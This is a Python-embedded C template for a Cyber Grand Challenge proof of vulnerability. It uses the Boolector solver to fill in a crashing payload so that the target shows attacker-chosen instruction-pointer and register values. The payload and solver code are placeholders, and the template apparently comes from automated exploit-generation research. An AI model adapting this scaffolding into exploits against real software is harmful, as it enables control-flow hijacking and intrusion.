c_template = """
#include <libcgc.h>
#include <stdlib.h>
#include <string.h>
#include <boolector.h>

enum register_t
{
    eax = 0,
    ecx = 1,
    edx = 2,
    ebx = 3,
    esp = 4,
    ebp = 5,
    esi = 6,
    edi = 7
};

int fd_ready(int fd) {
  struct timeval tv;
  fd_set rfds;
  int readyfds = 0;

  FD_SET(fd, &rfds);

  tv.tv_sec = 1;
  tv.tv_usec = 0;

  int ret;
  ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds);

  /* bail if fdwait fails */
  if (ret != 0) {
    return 0;
  }
  if (readyfds == 0)
    return 0;

  return 1;
}

unsigned int bswap32(unsigned int x) {
    return (((x) & 0x000000ff) << 24) | (((x) & 0x0000ff00) << 8) | \
        (((x) & 0x00ff0000) >> 8) | (((x) & 0xff000000) >> 24);
}

int send_all(int fd, const void *msg, size_t n_bytes)
{
  size_t len = 0;
  size_t tx = 0;
  while(len < n_bytes) {
    if (transmit(fd, (char *)msg + len, n_bytes - len, &tx) != 0) {
      return 1;
    }
    len += tx;
  }
  return 0;
}

void die(char *str) {
  send_all(2, str, strlen(str));
  _terminate(1);
}

void debug_print(const char *msg) {
  size_t len = (size_t)strlen(msg);
  transmit(2, msg, len, 0);
}

// receive into no particular buffer
size_t blank_receive( int fd, size_t n_bytes )
{
  size_t len = 0;
  size_t rx = 0;
  char junk_byte;
  char buf[0x100];
  size_t to_recv;

  while (len < n_bytes) {
    if (!fd_ready(fd)) {
        return len;
    }
    to_recv = n_bytes-len;
    to_recv = to_recv < 0x100 ? to_recv : 0x100;
    if (receive(fd, buf, to_recv, &rx) != 0) {
      len = 0;
      break;
    }

    if (rx == 0) {
      return len;
    }

    len += rx;
  }

  return len;
}

size_t receive_n( int fd, void *dst_buf, size_t n_bytes )
{
  char *dst = dst_buf;
  size_t len = 0;
  size_t rx = 0;
  while(len < n_bytes) {
    if (receive(fd, dst + len, n_bytes - len, &rx) != 0) {
      len = 0;
      break;
    }
    len += rx;
  }

  return len;
}

int fd_ready_timeout(int fd, int timeout_us) {
  struct timeval tv;
  fd_set rfds;
  int readyfds = 0;

  FD_SET(fd, &rfds);

  tv.tv_sec = timeout_us/1000000;
  tv.tv_usec = timeout_us % 1000000;

  int ret;
  ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds);

  /* bail if fdwait fails */
  if (ret != 0) {
    return 0;
  }
  if (readyfds == 0)
    return 0;

  return 1;
}

void safe_memcpy(char *dst, char *src, int len) {
  char *foo = malloc(len);
  memcpy(foo, src, len);
  memcpy(dst, foo, len);
  free(foo);
}

void* realloc_zero(void* pBuffer, size_t oldSize, size_t newSize) {
  void* pNew = realloc(pBuffer, newSize);
  if ( newSize > oldSize && pNew ) {
    size_t diff = newSize - oldSize;
    void* pStart = ((char*)pNew) + oldSize;
    memset(pStart, 0, diff);
  }
  return pNew;
}

int get_int_len(char *start, int base, int max) {
  char buf[0x20] = {0};
  memcpy(buf, start, max);
  char *endptr = 0;
  strtoul(buf, &endptr, base);
  if (endptr - buf > max) {
    return max;
  }
  return endptr - buf;
}

size_t receive_n_timeout( int fd, void *dst_buf, size_t n_bytes, int timeout_us )
{
  char *dst = dst_buf;
  size_t len = 0;
  size_t rx = 0;
  while(len < n_bytes) {
    if (!fd_ready_timeout(fd, timeout_us)) {
      return len;
    }
    if (receive(fd, dst + len, n_bytes - len, &rx) != 0) {
      len = 0;
      break;
    }
    if (rx == 0) {
      return len;
    }
    len += rx;
  }

  return len;
}

char *strrev (char *str)
{
  int i;
  int len = 0;
  char c;
  if (!str)
    return NULL;
  while(str[len] != '\\0'){
    len++;
  }
  for(i = 0; i < (len/2); i++)
  {
    c = str[i];
    str [i] = str[len - i - 1];
    str[len - i - 1] = c;
  }
  return str;
}

int itoa_len(int num, unsigned char* str, int len, int base)
{
  int negative = 0;
  if (num < 0) {
    negative = 1;
    num = -num;
    len -= 1;
  }

  int sum = num;
  int i = 0;
  int digit;

  if (len == 0)
    return -1;
  do
  {
    digit = sum % base;
    if (digit < 0xA)
      str[i++] = '0' + digit;
    else
      str[i++] = 'A' + digit - 0xA;
    sum /= base;
  } while (sum && (i < (len - 1)));
  if (i == (len - 1) && sum)
    return -1;

  if (negative) {
    str[i] = '-';
    i++;
  }

  str[i] = '\\0';
  strrev((char*)str);
  return 0;
}

char to_char(char *str) {
  int i;
  char r = '\\0';

  if (strlen(str) != 8)
    die("bv_assignment returned a string not of length 8\\n");

  /* result can '0', '1' or 'x', if 'x' just 0 */
  for(i=0;i<8;i++)
    r |= ((str[7-i] - '0') & 1) << i;

  return r;
}

unsigned int to_int(char *str) {
  int i;
  int r = 0;

  if (strlen(str) != 32)
    die("bv_assignment returned a string not of length 32\\n");

  /* result can '0', '1' or 'x', if 'x' just 0 */
  for(i=0;i<32;i++)
    r |= ((str[31-i] - '0') & 1) << i;

  return r;
}

typedef struct type1_vals_ {
   unsigned int ipval;
   unsigned int regval;
} type1_vals;

typedef struct type2_vals_ {
   unsigned int region_addr;
   unsigned int region_size;
   unsigned int read_size;
} type2_vals;


/*
 * Negotiate a type 1 pov. Caller specifies an ip bit mask, a register bit mask
 * and a general purpose register number (see the list below).
 *
   0 - eax
   1 - ecx
   2 - edx
   3 - ebx
   4 - esp
   5 - ebp
   6 - esi
   7 - edi
 *
 * Returns 0 on success. On success, the t1vals structure holds required IP
 * and register values that must be found when the target CB crashes. At the
 * time of the crash the following must hold:
 *  (crash_eip & ipmask) == t1vals->ipval
 *  (crash_REG & regmask) == t1vals->regval
 */
int type1_negotiate(unsigned int ipmask, unsigned int regmask, unsigned int regnum, type1_vals *t1vals) {
   uint32_t povType = 1;
   if (send_all(3, &povType, sizeof(povType)) ||
       send_all(3, &ipmask, sizeof(ipmask)) ||
       send_all(3, &regmask, sizeof(regmask)) ||
       send_all(3, &regnum, sizeof(regnum))) {
      return -1;
   }
   if (receive_n(3, (unsigned char *)t1vals, sizeof(type1_vals)) != sizeof(type1_vals)) {
      return -1;
   }
   return 0;
}

/*
 * Negotiate a type 2 pov.
 * Returns 0 on success. On success, the t2vals structure holds the address
 * (t2vals->region_addr) and size of a memory region (t2vals->region_size)
 * from which the POV must leak a specific number of bytes (t2vals->read_size).
 */
int type2_negotiate(type2_vals *t2vals) {
   uint32_t povType = 2;
   if (send_all(3, &povType, sizeof(povType))) {
      return -1;
   }
   if (receive_n(3, (unsigned char *)t2vals, sizeof(type2_vals)) != sizeof(type2_vals)) {
      return -1;
   }
   return 0;
}

/*
 * Submit the len bytes in the val buffer as the results of a type 2 POV
 * Returns 0 on success
 */
int type2_submit(const unsigned char *val, size_t len) {
   return send_all(3, val, len);
}

// Globals!
unsigned int ipmask = {ipmask};
unsigned int regmask = {regmask};
type1_vals t1vals;
char *received_data = NULL;
char *payload = NULL;
size_t payload_buffer_len;
size_t recv_buf_len;
const size_t payload_len = {payload_len};

// INTEGER STUFF
// the integers must be ordered by start loc
size_t payload_int_start_locs[] = {payload_int_start_locations};
int payload_int_bases[] = {payload_int_bases};
int payload_int_expected_lens[] = {payload_int_expected_lens};
// +1 to silence the warning if it's 0
int payload_int_corrections[{num_payload_ints}+1] = {0};
size_t recv_int_start_locs[] = {recv_int_start_locations};
int recv_int_expected_lens[] = {recv_int_expected_lens};
int recv_int_corrections[{num_payload_ints}+1] = {0};
int recv_int_bases[] = {recv_int_bases};


// function to get the real offsets
size_t real_payload_off(size_t payload_off) {
  size_t out_off = payload_off;
  for (int i = 0; i < {num_payload_ints}; i++) {
    if (payload_off > payload_int_start_locs[i]+1) {
      out_off += payload_int_corrections[i];
    }
  }
  return out_off;
}

size_t real_recv_off(size_t recv_off) {
  size_t out_off = recv_off;
  for (int i = 0; i < {num_recv_ints}; i++) {
    if (recv_off > recv_int_start_locs[i]+1) {
      out_off += recv_int_corrections[i];
    }
  }
  return out_off;
}

size_t check_for_recv_extra(size_t recv_start, size_t num_bytes) {
  size_t num_extra = 0;
  for (int i = 0; i < {num_recv_ints}; i++) {
    if (recv_start <= recv_int_start_locs[i] && recv_start+num_bytes > recv_int_start_locs[i]) {
      num_extra += 8;
    }
  }
  return num_extra;
}

size_t fixup_recv_amount(size_t recv_off, size_t recv_amount) {
  // we want the recv amount to be what it would be if all integer lengths were the same
  size_t fixed_recv_amount = recv_amount;
  for (int i = 0; i < {num_recv_ints}; i++) {
    if (recv_off <= recv_int_start_locs[i] && recv_off+recv_amount > recv_int_start_locs[i]) {
      // we read in an integer, get the length of the integer we read
      int len = get_int_len(received_data+real_recv_off(recv_int_start_locs[i]), recv_int_bases[i], recv_amount-(recv_int_start_locs[i]-recv_off));
      // store the difference between it and the expected length
      recv_int_corrections[i] = len-recv_int_expected_lens[i];
      // fix recv amount
      fixed_recv_amount -= recv_int_corrections[i];
    }
  }
  return fixed_recv_amount;
}

void set_payload_int_solve_result(Btor *btor, int bid, int base, int int_info_num) {
  char temp_int_buf[0x20] = {0};
  // get the solve result
  BoolectorNode *int_val = boolector_match_node_by_id(btor, bid);
  int temp_int = to_int(boolector_bv_assignment(btor, int_val));

  // convert to ascii
  itoa_len(temp_int, (unsigned char*)temp_int_buf, sizeof(temp_int_buf), base);
  // get the length, and the expected length
  int int_len = strlen(temp_int_buf);
  int expected_len = payload_int_expected_lens[int_info_num];
  int correction = int_len - expected_len;

  // now we move stuff if needed
  int real_int_start = real_payload_off(payload_int_start_locs[int_info_num]);
  // only move stuff if the correction wasn't set
  if (payload_int_corrections[int_info_num] != correction) {
    int dest_off = real_int_start + int_len;
    int current_off = real_int_start + expected_len + payload_int_corrections[int_info_num];
    // realloc if needed
    if (current_off > dest_off) {
      size_t old_payload_buffer_len = payload_buffer_len;
      payload_buffer_len += current_off - dest_off;
      payload = realloc_zero(payload, old_payload_buffer_len, payload_buffer_len);
    }
    safe_memcpy(payload + dest_off, payload + current_off, real_payload_off(payload_len)-current_off);
    payload_int_corrections[int_info_num] = correction;
  }
  memcpy(payload + real_int_start, temp_int_buf, int_len);

}

// end of fixup codes

void constrain_value_var(Btor *btor, int value_var_idx) {
  BoolectorNode *value_val_var = boolector_match_node_by_id(btor, value_var_idx);
  BoolectorNode *value_val = boolector_int(btor, t1vals.regval, 32);
  BoolectorNode *reg_mask = boolector_unsigned_int(btor, {regmask}, 32);
  BoolectorNode *value_val_var_fixed = boolector_and(btor, value_val_var, reg_mask);
  BoolectorNode *value_val_fixed = boolector_and(btor, value_val, reg_mask);
  BoolectorNode *con = boolector_eq(btor, value_val_fixed, value_val_var_fixed);
  boolector_assert(btor, con);
}

void constrain_ip_var(Btor *btor, int ip_var_idx) {
  BoolectorNode *ip_val_var = boolector_match_node_by_id(btor, ip_var_idx);
  BoolectorNode *ip_val = boolector_int(btor, t1vals.ipval, 32);
  BoolectorNode *ip_mask = boolector_unsigned_int(btor, {ipmask}, 32);
  BoolectorNode *ip_val_var_fixed = boolector_and(btor, ip_val_var, ip_mask);
  BoolectorNode *ip_val_fixed = boolector_and(btor, ip_val, ip_mask);
  BoolectorNode *con = boolector_eq(btor, ip_val_fixed, ip_val_var_fixed);
  boolector_assert(btor, con);
}

// aliases
void constrain_register_value(Btor *btor, int value_var_idx) {
  constrain_value_var(btor, value_var_idx);
}

void constrain_ip_value(Btor *btor, int ip_var_idx) {
  constrain_ip_var(btor, ip_var_idx);
}

void hex_debug(const char *buf, size_t len) {
  char hex_str[0x1000];
  for (size_t i = 0; i < len; i++) {
    char curr = buf[i];
    if (((curr & 0xf0) >> 8) > 9) {
      hex_str[i*2] = 'A' + (int)((curr & 0xf0) >> 8)-10;
    }
    else {
      hex_str[i*2] = '0' + (int)((curr & 0xf0) >> 8);
    }
    if ((curr & 0xf) > 9) {
      hex_str[i*2+1] = 'A' + (int)(curr & 0xf)-10;
    }
    else {
      hex_str[i*2+1] = '0' + (int)(curr & 0xf);
    }
  }
  send_all(2, hex_str, 2*len);
  send_all(2, "\\n", 1);
}

int do_pov() {
  enum register_t regnum = {register};

  if (type1_negotiate(ipmask, regmask, regnum, &t1vals) != 0) {
    die("type1_negotiate failure\\n");
  }

  char *error;
  int status;

  const char orig_payload[] = "{raw_payload}";
  payload_buffer_len = payload_len;
  payload = malloc(payload_len);
  memcpy(payload, orig_payload, payload_len);
  recv_buf_len = {recv_buf_len};
  received_data = calloc(recv_buf_len, 1);

  BoolectorNode *cur_byte;
  BoolectorNode *temp_1;
  BoolectorNode *temp_2;
  BoolectorNode *temp_con;


  // current position in they payload
  size_t payload_off = 0;
  size_t recv_off = 0;

  // *** integer stuff ***
  // a buffer for copying integers to and checking them
  char temp_int_buf[0x20];
  unsigned long temp_int;
  BoolectorNode *int_val;
  BoolectorNode *int_val_var;
  BoolectorNode *int_con;
  int recv_extra_for_int = 0;
  size_t fake_recv_amount = 0;
  size_t send_amount = 0;
  size_t recv_amount = 0;
  size_t old_recv_buf_len = 0;
  // *** end integer stuff ***

  // BoolectorNodes for use in challenge response
  BoolectorNode *stdout_val_var;
  BoolectorNode *stdout_val;
  BoolectorNode *stdout_con;
  BoolectorNode *payload_val;
  BoolectorNode *payload_val_var;
  BoolectorNode *payload_con;

{solver_code}

  send_all(1, payload+real_payload_off(payload_off), real_payload_off(payload_len)-real_payload_off(payload_off));

  // make sure we wait till it crashes
  blank_receive(0, 0x2000);

  return 0;
}

int main(void) {
  /* align the stack so that boolector can work in all circumstances */
  asm(\"and $0xfffffff0, %esp\\n\");

  /* terminate, stack hasn't been fixed up */
  _terminate(do_pov());
}
"""
